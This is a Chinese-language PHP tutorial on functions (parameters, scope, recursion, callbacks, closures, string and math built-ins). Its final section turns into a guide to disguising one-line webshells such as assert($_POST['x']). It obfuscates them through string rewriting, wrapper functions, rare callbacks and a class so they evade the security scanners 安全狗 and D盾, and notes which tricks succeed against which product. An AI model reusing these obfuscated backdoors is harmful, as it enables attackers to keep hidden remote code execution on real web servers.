PHP 的真正威力源自于它的函数。在 PHP 中,提供了超过 1000 个内建的函数。
php函数分为:系统内部函数
和自定义函数
PHP 函数准则:
函数的定义由以下4部分组成:
function 函数名([参数1, 参数2, ……])
{
函数体……
}
函数调用: 函数名(1,2)
函数只有被调用后,才开始真正执行函数中的代码,执行完毕,返回调用函数的位置继续向下执行
注意:
遵循一个原则,实参的数量必须对应形参的数量。
PHP默认支持按值传递参数,按此种方式定义的函数,在函数内部可以随意对用户传递的参数进行操作。
function add($a, $b) # 形参
{
$a = $a + $b;
return $a;
}
// 调用方式一
echo add(5, 7); # 实参 5,7
// 调用方式二
$x = 5;
$y = 7;
echo add($x, $y);
在开发中,若需要函数修改它的参数值,则需通过函数参数的引用传递。实现方式只需在参数前添加&
符号即可。
例子:
<?php
function xy(&$a, $b){ //xy函数需要2个参数 注意这里带了$符号呀
$c = $a+$b;
$a = 100;
return $c; //使用return指定返回值为两数之和
}
$x = 5;
$y = 8;
$r1 = xy($x,$y);
var_dump($r1); #输出:13
var_dump($x) ; #输出:100
&
就是把形参$a
和$x
都是指向同一个内存地址,其中一个改变另外一个也会跟着改变,运行函数时$a
变成100,所以后面$x
输出结果也是100。
注意:
默认值必须是常量表达式,不能是变量。如果函数有多个参数,可以为多个参数指定默认值。但是,带默认值的参数只能位于参数列表的最后
,即一个默认值参数的右边不能出现没有指定参数值的参数。
正确写法:
function setPoint($x,$z,$y=0){
echo "{".$x.",".$y.",".$z."}";
}
setPoint(5,90);
错误写法:
function setPoint($x,$y=0,$z){
echo "{".$x.",".$y.",".$z."}";
}
setPoint(5,7);
在PHP 7.0及以上的版本后,在自定义函数时,可以指定参数具体是哪种数据类型。
如果是在5.x版本下面写法会报fatal的错误。
function sum1(int $a, int $b)
{
return $a + $b;
}
echo sum1(2.6, 3.8); // 输出结果:5
当用户调用函数时,如果传递的参数不是 int 类型,程序会将其强制的转换为 int 型后,再进行操作,这种方式称为弱类型参数设置。
在函数中定义的变量称为局部变量
在函数外定义的变量称为全局变量
我们经常会遇到一种情况,在函数外部声明了一个全局变量后,我们想在函数内部访问或者修改这一全局变量,这里我们就需要使用一叫global
的关键字来实现。
global作用
:在函数内创建
一个局部变量,使用global
关键字使其成为全局
变量的同名引用。
$x = 100; #全局变量
function test()
{
echo 'begin test'.PHP_EOL;
$GLOBALS['x'] = 99; #修改全局变量
return $x;
echo 'afterreturn'.$x;
}
echo $x; //输出:100
echo test(); //输出:begin test ,因为调用方法 返回是空,全局变量$x的值变为99,局部变量$x没有赋值,它是局部变量(没有Global)
echo $x; //输出:99
?>
$x = 100; #全局变量
function test()
{
echo 'begin test'.PHP_EOL;
global $x; #必须加上global 关键字才会把它声明为全局变量不然就是局部变量
//如果是局部变量那么就跟开头 $x=100是不同的变量。
$x = 98;
return $x; //在这里函数已经返回了
echo 'afterreturn'.$x; #這句話 不会被执行到,因为前面返回了(php也没有报错,其他语句会报错)
}
echo $x; //全局变量,输出:100
echo test(); //输出:begin test 98
echo $x; //输出:98
?>
函数递归调用是函数嵌套调用中一种特殊的调用。它指的是一个函数在其函数体内调用自身
的过程,这种函数成为递归函数。
举例: 求n的阶乘,计算公式为1×2×3×…×n。如4的阶乘等于1×2×3×4=24。 n! = (n-1)! *n
递归调用是一种解决方案,一种逻辑思想,将一个大工作分为逐渐减小的小工作,只不过在程序中,就是依靠函数嵌套这个特性来实现了。
function Fact($n) {
$sum=1;
if($n <= 1){ # 递归什么时候结束
return 1;
}else{
$sum = $n * fact($n-1); # 简单 递归写法容易看懂
return $sum;
}
}
echo "2 的阶乘为: " .Fact(2)."
";
echo "3 的阶乘为: " .Fact(3)."
";
echo "4 的阶乘为: " .Fact(4)."
";
echo "10 的阶乘为: " .Fact(10);
?>
再来看个错误的:
<?php
function Fact($n) {
$sum=1;
$sum = $n * fact($n-1);
return $sum;
}
//f5 -> 5* f4 -> 5 * 4*f3 -> 5*4*3 *f2 -> 5*4*3*2*f1 -> 5*4*3*2*1*f(0)
-> -> 5*4*3*2*1*0 * f(-1)
echo "2 的阶乘为: " .Fact(2)."
";
echo "3 的阶乘为: " .Fact(3)."
";
echo "4 的阶乘为: " .Fact(4)."
";
echo "10 的阶乘为: " .Fact(10);
?>
静态变量就是变量会随着函数的调用而改变
function num()
{
static $i = 1; # python里没有 C++里有
echo $i;
++$i;
}
echo '第一次调用';
num(); //输出:1
echo '第二次调用';
num(); //输出:2
echo '第三次调用';
num(); //输出:3
?>
可变函数就是将定义好的函数名赋值给一个变量,然后通过这个变量来调用。
可变函数的实现就是在一个变量名后添加一对圆括号“()”,让其变成一个函数的形式,然后PHP就寻找与变量值同名的函数,并且尝试执行它。
举例:变量函数的用法:
function demo(){
echo "天王盖地虎! ";
}
function demo1(){
echo "宝塔镇河妖! ";
}
$de='demo'; //将demo函数名赋给变量$de;
echo $de(); //调用该变量名加(); 不是demo()
$ee='demo1'; //将demo1函数名赋给变量$ee;
echo $ee();
回调函数(callback):指的就是具有callable类型的函数,一般用作参数的传递。如PHP内置函数call_user_func()
可以接受用户自定义的回调函数作为参数。
就是把函数作为参数传入进另一个函数中使用
function qwe($name,$age){
echo "我叫$name 我$age 岁了
";
}
call_user_func('qwe', "张三",'18'); # 相当于调用了 qwe("张三",'18')
call_user_func('qwe', "李四",'24'); # 相当于调用了 qwe("李四",'24')
qwe('张三','18')
?>
匿名函数:就是没有函数名称的函数,也称作闭包函数
,经常用作回调函数参数的值。对于临时定义的函数,使用匿名函数无需考虑函数命名冲突的问题。
$sum = function ($a, $b) { // 定义匿名函数
return $a + $b;
};
echo $sum(100, 200); // 输出结果:300
?>
匿名函数中使用外部的变量,需要通过use
关键字实现。use
关键字后圆括号()
中的内容即为要使用的外部变量列表,多个变量之间使用英文逗号,
分隔即可。
正确方法:
$c = 100;
$sum = function($a, $b) use($c) {
return $a + $b + $c;
};
echo $sum(100, 200); // 输出结果:400
下面是错误方式:
<?php
$c = 100;
$sum = function($a,$b,$c) {
return $a + $b + $c;
};
echo $sum(100, 200);
?>
字符串函数是PHP用来操作字符串的内置函数,在实际开发中有着非常重要的作用
函数名称 | 功能描述 |
---|---|
strlen() | 获取字符串的长度 |
strpos() | 查找字符串首次出现的位置 |
strrpos() | 获取指定字符串在目标字符串中最后一次出现的位置 |
str_replace() | 用于字符串中的某些字符进行替换操作 |
substr() | 用于获取字符串中的子串 |
explode() | 使用一个字符串分割另一个字符数组 |
implode() | 用指定的连接符将数组拼接成一个字符串 |
trim() | 去除字符串首尾处的空白字符(或指定成其他字符) |
str_repeat() | 重复一个字符串 |
strcmp() | 用于判断两个字符串的大小 |
substr()
函数的第1个参数表示待截取的字符串,第2个参数表示开始截取的位置,非负数表示从字符串指定位置处截取,从0开始;负数表示从字符串尾部开始。第3个参数表示截取的长度。
substr()
函数的第3个参数表示截取的长度,该长度的设置具体有以下4种情况:
替换指定位数的字符,在开发也是很常见的功能。例如,在各种抽奖环节中,为了保证用户的隐私,出现的手机号一般使用*
将第4至7位的数字进行覆盖。
$tel = '18810881888'; // 随意输入一串数字作为手机号
$len = 4; // 需要覆盖的手机号长度
$replace = str_repeat('*', $len); // 根据指定长度设置覆盖的字符串
echo substr_replace($tel, $replace, 3, $len); // 输出结果: 188****1888
substr_replace()
函数把字符串的一部分替换为另一个字符串。各个参数分别为需要检查的字符串、需要插入的字符串、从什么地方开始、替换多少个字符。
str_repeat()
函数用于对*
字符重复$len
次。
程序开发中,去除字符串中的空白字符有时是必不可少的。例如,去除用户注册邮箱中首尾两端的空白字符。这时可以使用PHP提供的trim()函数,去除字符串中首尾两端的空白字符。
$str = ' These are a few words :) ... ';
echo '原字符串:' . $str . '
';
echo '去空白后的字符串:' . trim($str);
字符串的比较:一种比较运算符==
和===
,另一种函数strcmp()
strcmp()
根据比较结果 strcmp() 函数会返回不同的值,如果 $str1 小于 $str2,则返回值 < 0
;如果 $str1 大于 $str2,则返回值 > 0
;如果 $str1 与 $str2 相等,则返回 0
。
为了方便开发人员处理程序中的数学运算,PHP内置了一系列的数学函数,用于获取最大值、最小值、生成随机数等常见的数学运算。
函数名称 | 功能描述 |
---|---|
abs() | 取绝对值 |
ceil() | 向上取最接近的整数 |
floor() | 向下取最接近的整数 |
fmod() | 取除法的浮点数余数 |
is_nan() | 判断是否为合法数值 |
max() | 取最大值 |
比如:
echo ceil(5.2); // 输出结果:6
echo floor(7.8); // 输出结果:7
echo rand(1, 20); // 随机输出1到20间的整数
关于eval:被杀毒软件监测的
eval是⼀个语⾔构造器⽽不是⼀个函数,不能被可变函数 调⽤可变函数:通过⼀个变量,获取其对应的变量值,然后通过给该值增加⼀个括号(),让系统认为该值是⼀个函数,从⽽当做函数来执⾏
通俗的说⽐如你<?php $a=eval;$a()?>
这样是不⾏的.也造就了⽤eval的话达不到assert的灵活,但是在php7.1以上assert已经不能使用了
。
echo('good');
echo('
');
eval("echo('good');"); //注意 eval里面要加;号哈
$a = ‘eval’;
$a ("echo('good');");
//使用可变函数的方式是会报错的,因为eval不是函数
?>
字符串变形多数用于 BYPASS 安全狗,相当对于 D 盾,安全狗更加重视 “形”。
一个特殊的变形就能绕过安全狗,看看 PHP 手册,有着很多关于操作字符串的函数。
ucwords() //函数把字符串中每个单词的首字符转换为大写。
ucfirst() //函数把字符串中的首字符转换为大写。
trim() //函数从字符串的两端删除空白字符和其他预定义字符。
substr_replace() //函数把字符串的一部分替换为另一个字符串
substr() //函数返回字符串的一部分。
strtr() //函数转换字符串中特定的字符。
strtoupper() //函数把字符串转换为大写。asserT --> assert --> a
strtolower() //函数把字符串转换为小写。
strtok() //函数把字符串分割为更小的字符串
str_rot13() //函数对字符串执行 ROT13 编码。
substr_replace()
函数变形 assert 达到免杀(免除杀毒软件识别)的效果:
assert($_POST['x']); //能够被杀毒软件扫描出来
//assert('读取到服务器某个文件
//这只有php5.x版本才可以这样执行,在php7.x 是不能执行会出现下面的错:D:\programfiles\phpstudy_pro\WWW\demo\hello.php on line 11 >>>>>>
$a = substr_replace("assexx","rt",4);
echo $a; //替换成assert
echo 'bbbbb';
$a($_POST['x']); //达到了相当于执行assert($_POST['x']);效果 php7.版本就不能执行
?>
// assert($_POST['x']),把assert 和 $_POST['x']分开
<?php
function kdog($a){
$a($_POST['x']);
}
kdog(assert);
?>
<?php
function kdog($a){
assert($a);
}
kdog($_POST[x]);
?>
这两种效果一样就是要把 assert 和$_POST分开。这种绕过方法,对安全狗还是比较有效的在 d 盾面前就显得小儿科了,不过后面会讲到如何用定义函数的方法来绕过 d 盾
call_user_func_array()
call_user_func()
array_filter()
array_walk()
array_map()
registregister_shutdown_function()
register_tick_function()
filter_var()
filter_var_array()
uasort()
uksort()
array_reduce()
array_walk()
array_walk_recursive()
回调函数大部分已经被安全软件加入全家桶套餐 所以找到一个生僻的不常用的回调函数来执行,比如:
forward_static_call_array(assert,array($_POST[x]));
?>
这个函数能过安全狗,但是 D 盾显示是一级。
定义一个函数:
<?php
function test($a,$b){
array_map($a,$b);
}
test(assert,array($_POST['x']));
?>
定义一个类:
<?php
class loveme {
var $a;
var $b;
function __construct($a,$b) {
$this->a=$a;
$this->b=$b;
}
function test() {
array_map($this->a,$this->b);
}
}
$p1=new loveme(assert,array($_POST['x']));
$p1->test();
?>